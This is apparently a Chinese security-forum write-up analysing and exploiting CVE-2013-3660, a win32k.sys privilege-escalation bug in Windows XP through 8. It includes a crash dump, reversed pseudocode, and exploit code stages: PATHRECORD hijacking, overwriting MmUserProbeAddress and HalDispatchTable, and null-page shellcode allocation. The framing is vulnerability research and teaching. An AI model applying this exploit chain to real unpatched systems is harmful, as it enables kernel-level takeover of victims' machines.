首页
社区
课程
招聘
[原创] 更进一步:CVE-2013-3660漏洞分析报告与利用
发表于: 2026-2-18 14:26 1124

[原创] 更进一步:CVE-2013-3660漏洞分析报告与利用

2026-2-18 14:26
1124

更进一步:CVE-2013-3660漏洞分析报告

今天要介绍的,是我研究的第一个Windows内核漏洞。由于Windows内核漏洞挖掘难度极高,相关资料又相当稀少,每一个漏洞对我来说都弥足珍贵。我希望通过深入剖析其技术细节,充分挖掘它的研究价值,为后续的挖掘工作打下扎实基础。

本次报告的标题定为《更进一步:CVE-2013-3660漏洞分析报告》。之所以称为“更进一步”,是因为这个漏洞最初参考了exploitCN的分析报告。在exploitCN前辈的研究基础上,我对关键函数做了更精确的逆向还原,优化了利用过程,并调整了代码风格,力求使整个分析更加清晰完整。为了深入理解并提高能力,所有代码我都从零开始重写,以确保其精准性。原文链接:exploitCN的看雪博客,https://bbs.kanxue.com/thread-271338-1.htm

让我们开始吧。

漏洞介绍

CVE-2013-3660是Google安全团队的研究人员Tavis Ormandy在对win32.sys进行内存压力测试时发现的。经分析,该漏洞位于win32k.sys模块中,是一个本地提权漏洞。Ormandy也因此项发现获得了Pwnie Awards 2013的最佳漏洞利用提名。

漏洞影响环境: Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, and Windows Server 2012

POC

将附件中的POC在x64 Release下按shellcode编写环境的设置编译,丢在Windows 7 SP1的虚拟机中运行,触发蓝屏报错如下(无关信息省略):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
CONTEXT:  fffff880036d0030 -- (.cxr 0xfffff880036d0030)
rax=2323232031313130 rbx=fffff880036d0a70 rcx=fffff880036d0a70
rdx=fffff900c020ac68 rsi=000000013f2b53c0 rdi=0000000000000020
rip=fffff96000358517 rsp=fffff880036d0a10 rbp=fffff880036d0b60
 r8=0000000000000000  r9=000000000000072f r10=0000000000000000
r11=fffff880036d0948 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
win32k!EPATHOBJ::bFlatten+0x1f:
fffff960`00358517 f6401010        test    byte ptr [rax+10h],10h ds:002b:23232320`31313140=??
Resetting default scope
 
PROCESS_NAME:  MyPoc.exe
 
STACK_TEXT: 
fffff880`036d0a10 fffff960`002f9044 : fffffa80`01c4c360 fffffa80`03f65221 00000000`00000000 00000000`00000000 : win32k!EPATHOBJ::bFlatten+0x1f
fffff880`036d0a40 fffff800`03e888d3 : 00000000`0601092e 00000001`3f2853c0 00000001`3f3353c0 fffffa80`000007b9 : win32k!NtGdiFlattenPath+0x70
fffff880`036d0ae0 000007fe`fd4f70da : 000007fe`fd5194bb 00000000`0020f6e8 00000001`3f2b53c0 00000000`0601092e : nt!KiSystemServiceCopyEnd+0x13
00000000`0020f6a8 000007fe`fd5194bb : 00000000`0020f6e8 00000001`3f2b53c0 00000000`0601092e 00000001`3f2b53c0 : GDI32!NtGdiFlattenPath+0xa
00000000`0020f6b0 00000001`3f23126e : 00000000`000007b9 00000000`00000000 00000001`3f2b53c0 00000000`0601092e : GDI32!FlattenPath+0x4b
00000000`0020f6e0 00000000`000007b9 : 00000000`00000000 00000001`3f2b53c0 00000000`0601092e 00000ceb`00000001 : MyPoc!main+0x1fe
SYMBOL_NAME:  win32k!EPATHOBJ::bFlatten+1f
 
MODULE_NAME: win32k
 
IMAGE_NAME:  win32k.sys
 
IMAGE_VERSION:  6.1.7601.17514

可以看到:内核报错在win32k!EPATHOBJ::bFlatten+0x1f,是对无效地址的访问.

仔细看这个无效地址:0x2323232031313130和POC部分源码

1
2
3
4
5
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
    Points[PointNum].x = '1111' >> 4;
    Points[PointNum].y = '2222';
    PointTypes[PointNum] = PT_BEZIERTO;
}

是不是正好是我们的x和y分别右移四位拼接而成了的呢!@!

深入ida中观察:
图片描述
根据报错信息,问题定位在 IDA 反汇编中的如下条件语句:if ( (i->flags & 0x10) != 0 )
这就能表明,我们在此处能够部分控制内核中的数据。可以使电脑蓝屏.

为什么能控制呢?

篇幅问题,这里只截图关键点,请读者自行打开ida,先基本了解
struct _PATHRECORD *__fastcall EPATHOBJ::pprFlattenRec(EPATHOBJ *this, struct _PATHRECORD *pathRecordRes)
_PATHRECORD *newpathalloc(void)
函数基本执行流程.

EPATHOBJ::pprFlattenRec->EPATHOBJ::newpathrec->newpathalloc(void)调用链中
图片描述
申请新的_PATHRECORD的时候,没有对申请出来的堆块清零
这是我们能劫持内核结构的基础
漏洞关键:(EPATHOBJ::pprFlattenRec函数)
图片描述
这里如果申请失败了,返回0,后续就不会对指针进行初始化,再加上之前没有清零堆块.就能在内核中,指向一个用户控制的地址!!!
详细画图解释:
执行EPATHOBJ::pprFlattenRec后正常状态:
图片描述
异常状态:
图片描述

EXP

先导介绍:与用户态不同,内核空间由所有进程共享,环境更为复杂。因此,在利用漏洞时,首先需要设置一个干净的环境,这一点在漏洞利用代码(EXP)中也有所体现。因为我们不知道内核环境是什么样子,所以我们要先放入我们设置好的,自循环的PathRecord.因为我们不知道内核环境是什么样子,所以我们要设置看门狗线程检测环境.

思路介绍

漏洞让我们在内核中有一块可控空间,能干什么呢?

EPATHOBJ::pprFlattenRec函数最开始:
图片描述
p_next_1->prev->next = p_next_1;这里没有验证p_next_1->prev的合法性,导致了我们可以任意地址写一个p_next_1的地址值

这样,利用思路就有了:
我们先修改MmUserProbeAddress的值,再通过NtReadVirtualMemory进行内核任意地址写,将Shellcode Address写在HalDispatchTable中的HaliQuerySystemInformation项中

EXP代码讲解:

一阶段:

环境准备,内核环境控制:

1
2
3
4
5
6
7
8
9
10
11
PathRecord = VirtualAlloc(
    0x5c30000,
    sizeof(PATHRECORD),
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);
if (!PathRecord) return; // User Address
memset(PathRecord, 0xCC, sizeof(PATHRECORD));
PathRecord->next     = PathRecord;
PathRecord->prev     = 0x42424242;
PathRecord->flags        = 0;

多说无益,上图
图片描述
这段代码是为了实现让EPATHOBJ::bFlatten函数卡死了for循环中(通过对next指针,flag的控制)

1
2
3
4
5
6
7
8
9
for ( i = *(struct _PATHRECORD **)(v1 + 32); i; i = i->next )
  {
    if ( (i->flags & 0x10) != 0 )
    {
      i = EPATHOBJ::pprFlattenRec(this, i);
      if ( !i )
        return 0;
    }
  }

重难点讲解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
BOOL InitShellcode() {
    ShellcodeAddr = 1; // 这里是故意的,目的是申请一个0的页内存
    SIZE_T allocSize = 0x1000;
    while (TRUE)
    {
        st = NtAllocateVirtualMemory((HANDLE)-1,
            (PVOID*)&ShellcodeAddr,
            0,
            &allocSize,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
        if (st != 0) {
            ShellcodeAddr += 0x1000;
            printf("ShellcodeAddr->0x%08X\n", ShellcodeAddr);
            printf("st != 0\n");
            system("pause");
            continue;
        }
        else
        {
            break;
        }
    }
 
    NtReadVirtualMemoryBuffer = malloc(ShellcodeAddr);
    if (!NtReadVirtualMemoryBuffer) {
        printf("[W] Can't Alloc NtReadVirtualMemoryBuffer");
        return FALSE;
    }
    printf("ShellcodeAddr->0x%08X\n", ShellcodeAddr);
    system("pause");
    memcpy(ShellcodeAddr, Shellcode, (SIZE_T)Shellcode_END - (SIZE_T)Shellcode);
 
    return TRUE;
}

在分析 exploitCN 前辈的漏洞利用代码时,我们发现提权操作能够完美执行,但由于申请了过大的堆块,导致后续的 ShellExecuteA 函数调用失败,无法弹出命令行窗口(这怎么能忍)。而弹出窗口是验证利用成功的重要标志,且堆块过大也会破坏内存状态,使许多 API 无法正常运行。

为了解决这个问题,我们需要保护堆的完整性。经测试,即使在利用过程中主动调用freeNtFreeVirtualMemory释放内存,也无法避免该问题。因此,必须申请一个极小的内存地址。查阅资料发现,早期Windows有漏洞可以让NtAllocateVirtualMemory函数将内存申请到地址0(方法如上)。经过实际测试,这种方式能够完美利用漏洞并成功弹出命令行窗口。

二阶段:

触发漏洞,修改MmUserProbeAddress的值
图片描述
利用看门狗,在确定一阶段执行成功后(触发死循环)马上修改pathRecord->next的值,使其指向准备好的ExploitRecord的值.
因为

1
2
3
4
ExpRecord->next          = NULL;
ExpRecord->prev          = KernelMmUserProbeAddress;
ExpRecord->flags         = PD_BEZIERS | PD_BEGINSUBPATH;
ExpRecord->count         = 4;

所以会进入EPATHOBJ::pprFlattenRec函数中,完成修改MmUserProbeAddress的值

这里说一下:在本漏洞利用中,我们无需专门设置ExitRecord来保证正常退出。原因在于,即使将ExpRecord->next指向自定义的ExitRecord,整个退出过程依然充满不确定性。从下图所示的某次执行路径可以看出,内核环境的复杂性使得函数的返回方式难以预测。需要强调的是,刚刚的图片仅展示了其中一种可能的情况,实际情况可能因系统状态而异,因此刻意设置退出处理并无实际收益,反而可能引入新的问题。
图片描述

三阶段:

在修改 MmUserProbeAddress 的值后,进入常规的内核提权流程:
首先利用 NtReadVirtualMemory 将 Shellcode 地址写入目标位置,
随后通过 NtQueryIntervalProfile 触发 Shellcode 执行,
最终在 Shellcode 中完成提权操作并恢复系统环境。
注:在HalDispatchTable写的值是NtSetEaFile,因为我们不知道HalDispatchTable的原值!所以写了一个普通的函数.

总结与展望

至此,CVE-2013-3660漏洞的分析与利用已完整呈现。回顾整个过程,从最初的漏洞原理剖析,到利用细节的反复打磨,再到堆分配策略的优化与退出机制的取舍,每一步都让我对Windows内核的运行机制有了更深的理解。

这个漏洞虽然距今已有十三年,但它的价值并未随时间褪色。通过对它的深入研究,我们得以窥见内核漏洞挖掘的冰山一角——那些隐藏在复杂代码路径中的细微瑕疵,如何在特定条件下被放大为完整的利用链。更重要的是,在这个过程中,我深刻体会到:内核利用不仅仅是技术堆砌,更是对系统行为的精准把控。从环境初始化到堆块分配,从函数调用到异常处理,任何一个细节的疏漏都可能导致利用失败。

站在 exploitCN 前辈的肩膀上,我完成了对漏洞的更精确还原,并解决了原利用中因堆块过大而无法弹出命令行窗口的问题。这不仅是对技术的打磨,也是对研究态度的锤炼——从零开始重写代码,不是为了标新立异,而是为了确保每一行代码都了然于心。

展望未来,Windows内核漏洞挖掘之路依然漫长。随着系统安全机制的不断演进,内核漏洞的门槛也在水涨船高。但正是这种挑战,才让每一次突破都弥足珍贵。我会继续深耕这一领域,挖掘更多有价值的漏洞,也希望通过这份报告,能吸引更多研究者加入内核安全的探索行列.

内核浩瀚,漏洞如星。愿我们都能在这片星空下,找到属于自己的那颗。

源码下载:Github,5d1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6m8e0K6l9K6x3g2)9J5c8V1E0W2M7X3&6W2L8q4)9J5k6q4k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6s2W2Q4x3X3c8d9k6i4m8J5L8$3c8#2j5%4c8A6L8$3&6Q4x3V1k6@1M7X3g2W2i4K6u0r3L8h3q4K6N6r3g2J5


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2026-2-18 16:46 被AO031编辑 ,原因:
上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回